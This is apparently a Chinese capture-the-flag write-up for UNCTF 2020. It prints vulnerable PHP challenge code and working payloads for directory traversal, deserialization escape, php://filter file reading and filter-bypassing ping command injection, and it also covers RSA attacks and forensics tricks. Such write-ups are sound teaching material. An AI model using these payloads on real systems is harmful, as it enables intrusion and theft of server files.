第一次做出了这么多题,个人感觉还行。
文章可能有点长,但都是一些简单的题,大佬的话快速浏览一下就可以啦。
Web
easy_ssrf
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>
其中file_get_contents()
是关键,当目标请求时会判断使用的协议,如http协议
这些,但如果是无法识别的协议就会当做目录,如abc://
,进而造成目录穿越。
payload:?url=abc://unctf.com/../../../../../flag
(因为不知道flag在哪,所以可以多写几个../
,反正多余的../
会被忽略)
easyunserialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
明显是反序列化字符串逃逸,具体原理可以看我博客
php反序列化字符串逃逸
回到题目,这里会将challenge
替换成easychallenge
,替换后会多4个字符的位置,同时需要password==='easy'
,最后注意下__wakeup()
,因为序列化字符串表示对象属性个数真实类中属性的个数不同会跳过__wakeup()
的执行,所以构造时还得自己加一个属性。
payload:?1=challengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";s:2:"id";s:3:"aaa";}
成功拿到flag
ezphp
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
又是反序列化,不过这题挺误导人的,以为要构造username为admin,password为password,结果半天没做出来,直到看到群里有人说是弱类型,仔细一看,if
判断用的是==
而不是===
,看来还是不够敏感。
知道是弱类型判断后就简单啦,本地测试一下
<?php
$username='xiaolong';
$data=[
'username'=>true,
'password'=>true,
];
$p1=serialize($data);
echo $p1;
$p2=unserialize($p1);
echo $p2['username'];
if($p2['username']==$username)
{
echo 'nice';
}
else
{
echo 'no';
}
?>
运行结果 a:2:{s:8:"username";b:1;s:8:"password";b:1;}1nice
所以payload就是?data=a:2:{s:8:"username";b:1;s:8:"password";b:1;}
babyeval
<?php
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker!!!');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
?>
看着没多少过滤,直接尝试文件包含
payload:?a=include $_GET["xiaolong"] ?>&xiaolong=php://filter/read=convert.base64-encode/resource=flag.php
成功
base64解密得到flag
UN's_online_tools
是明显的ping命令执行
,直接ping 127.0.0.1
能正常回显,简单测试后发现过滤了;
,&
,空格
,flag
,cat
。
先ls
一下,输入127.0.0.1|ls
(|
表示只执行后面那条语句)
发现有两个文件,尝试读取,因为过滤了cat
,所以可以用能代替cat
的命令。
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
这里我用了less
127.0.0.1|less<index.php
(因为空格被过滤,所以用<来代替空格)127.0.0.1|less<style.css
都没发现flag,显然flag不在此目录,得想办法查看上一级目录。
列出上级目录的命令是ls ../
,但因为过滤了空格且ls
后面的<
并不能当空格,所以用tab
来代替,翻目录找到flag
读取flag(注意因为过滤了flag,所以用通配符?
来匹配)
Crypto
鞍山大法官开庭之缺的营养这一块怎么补
培根密码,o
对应a
,t
对应b
,解密得到PEIGENHENYOUYINGYANG
,包含unctf
即可
easy_rsa
from Crypto.Util import number
import gmpy2
from Crypto.Util.number import bytes_to_long
p = number.getPrime(1024)
q = number.getPrime(1024)
if p > q:
a = p + q
b = p - q
print(a,b)
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = bytes_to_long(b'msg')
c = pow(m,e,n)
print(c)
#320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
#9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
#22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
小学数学题,下面的3串数字分别是a
,b
,c
,以知p+q=a,p-q=b
,那p
不就是(a+b)/2
嘛,这不是小学数学?
求得
p=164976388739628973581511063883090363893890874421691770454048880284500992179926996908823840726558454111596699286948761026319434957217223527703429627592448959262532954019810985574583860227624287638908448719207441426500367172146028171043107126122608800640249201232870138119493156975216320985668013888561826953269
q=155422298738009940394189206134042119662513162560610248399569107132538620220590060772127789136918984458521940817304671619205395736161534795149599241668486283754795346411784845057685713557075371605135986388011998610261360520650827734187124699589734496097678970899686056997267797534053934064148348759788335157899
n=25641009575408673561601905984422743735357892832428996470263405598511745489110785781477076260460233771279328001848929028823764152826440733518585262532115326559221937583974700083609265747608018636117271605464780212911024500251543436212387275961022557479401223535910014572478205996233306797164889404787135881287602968447004026365458027378542083354340295723853404338973217571266441345810754764834638387773872021226037616065470238855758998398494162654030931238589602706903682946789217969443636045625654153710933071800258381173579227224958909434713764094122103801163919848802671090308412161781907623339319984400231209221831
phi=25641009575408673561601905984422743735357892832428996470263405598511745489110785781477076260460233771279328001848929028823764152826440733518585262532115326559221937583974700083609265747608018636117271605464780212911024500251543436212387275961022557479401223535910014572478205996233306797164889404787135881287282569759526387451482327108524950870783891686871102320119599583849401733410237707153686757910394582655918975961216806210234167705115404331177902369328667463886354646357622138811366471840954494466888636693038941136817499532162053529483532268409760504425991676670114895191651207272637368289503621751881047110664
d
单独跑出来
import gmpy2
e=65537
phi=25641009575408673561601905984422743735357892832428996470263405598511745489110785781477076260460233771279328001848929028823764152826440733518585262532115326559221937583974700083609265747608018636117271605464780212911024500251543436212387275961022557479401223535910014572478205996233306797164889404787135881287282569759526387451482327108524950870783891686871102320119599583849401733410237707153686757910394582655918975961216806210234167705115404331177902369328667463886354646357622138811366471840954494466888636693038941136817499532162053529483532268409760504425991676670114895191651207272637368289503621751881047110664
d = gmpy2.invert(e,phi)
print d
d=13520637333215938186701232387959186078192441834430646200152017496580083015894693608744446669957196067379816242548412185148719678858906249430631086296059347471406865114774824686655919643954375513480029176520925196420025095437582404880108633026550155505640286905930669447727266167475328689082873003809052013145641561953548574050510799399063204788021266291024788348241346451907588463054320379080780429068578299089418923223030202618570767162875599171107099044497918583654800248238807175687675702792006125086389940138212608569298856353395124065366005586641202732989813698557545059249478652073299085605820622861917775089649
所有参数都知道了,求得m
m=124674441944595208018198785195880808417611536884093
转成字符串
简单的RSA
更简单了,看到e
这么大,考虑低解密指数攻击,直接维纳攻击
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
def hack_RSA(e,n):
'''
Finds d knowing (e,n)
applying the Wiener continued fraction attack
'''
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)
for (k,d) in convergents:
#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = Arithmetic.is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("Hacked!",'d=',d)
return d
n=147282573611984580384965727976839351356009465616053475428039851794553880833177877211323318130843267847303264730088424552657129314295117614222630326581943132950689147833674506592824134135054877394753008169629583742916853056999371985307138775298080986801742942833212727949277517691311315098722536282119888605701
e=18437613570247445737704630776150775735509244525633303532921813122997549954741828855898842356900537746647414676272022397989161180996467240795661928117273837666615415153571959258847829528131519423486261757569454011940318849589730152031528323576997801788206457548531802663834418381061551227544937412734776581781
if __name__ == "__main__":
#test_is_perfect_square()
#print("-------------------------")
hack_RSA(e,n)
求得d
d=74651354506339782898861455541319178061583554604980363549301373281141419821253
知道了c
,d
,n
,求得m
m=670413665883511729999404601902423278472264903549
转成字符串
wing
在word的符号里可以找到这些字符,猜测前面几个字符为unctf{
,可以根据ascii码表推出每个字符对应的字母,md我在word里把这题写好后不知道为什么,内容没了。。。懒得再做一遍了,这里我就不贴图片了。
(一个问号中间加一竖的表示下划线_
,做多了应该都能猜到)
Misc
baba_is_you
用winhex
或HxD
打开,最后有一串b站的视频bv号,评论里有flag
爷的历险记
先base64
解密打开家里宝箱拿到装备,打死老鼠出门,看到有商人买3个hint
,第3个hint
其实就是flag。当时想按正常流程来做,结果半天没做出来。算了,这一看就是rpgmaker做的,直接改存档吧,在线网址放上https://www.saveeditonline.com/
,钱改改多,直接买第3个hint
,得到flag
阴阳人编码
这就.
对应Ook.
,就这¿
对应Ook?
,不会吧!
对应Ook!
,替换后解码得到flag
撕坏的二维码
二维码识别需要3个定位符,补齐一个即可
扫一扫就能得到flag
YLB's CAPTCHA - 签到题
不就连续输对10次吗,瞧不起谁呢
我就硬输得到flag
躲猫猫
直接解压(word,xlsx都能直接解压),在sharedStrings.xml
中找到一串base64编码,解密得到flag。
%7B
,%7D
分别是{
,}
(预期解好像是直接在xlsx里操作的)
被删除的flag
解压后flag文件里直接就有flag
网络深处1
用Audacity
打开,查看频谱图,根据DTMF,分别设置高和低,记下频率,查表,写下手机号
查表
得到电话号码解密,同样Audacity
打开
上网查阅tupper
,是Tupper自我指涉公式,题目里给的那串数字就是k值,所以只要找个脚本就能拿到flag了,但网上那些脚本运行出错。。。
没办法,最终找到了一篇Tupper自我指涉公式生成器的文章,找博主帮忙跑了一下拿到flag。
EZ_IMAGE
话不多说,直接拼。(感谢室友帮我把所有图片都拖到ppt o( ̄▽ ̄)o)
不用拼全,已经能看出来了 UNCTF{EZ_MISC_AND_HACK_FUN}
零
零宽度字符隐写
mouse_click
鼠标流量分析,USB协议的数据部分在Leftover Capture Data域之中,在Mac和Linux下可以用tshark命令可以将 leftover capture data单独提取出来。命令如下
tshark -r usb2.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
但格式需要转化一下
f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==8:
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break
fi.close()
接着转换成坐标
nums = []
keys = open('out.txt','r')
posx = 0
posy = 0
for line in keys:
if len(line) != 12 :
continue
x = int(line[3:5],16)
y = int(line[6:8],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16)
if btn_flag == 1 :
print posx , posy
keys.close()
最后需要gnuplot
画出图像
命令如下
垂直翻转一下得到flag
你能破解我的密码吗
百度一下,知道shadow是存放linux用户密码信息的文件
本题中root后面的!
本应该存放加密后的密码,当时随便猜了个123456
,然后对了。。。啊这 ╰(°▽°)╯
倒影
这题其实不难,但做出的人不多,挺奇怪的
解压后用winhex
或HxD
打开,最后有一长串base64,解密一下
联想题目倒影,把这串字符从后往前看504B0304
,这不是很明显的zip文件头吗,将字符串倒序输出后保存为zip文件,发现有密码,爆破一下
解压得到flag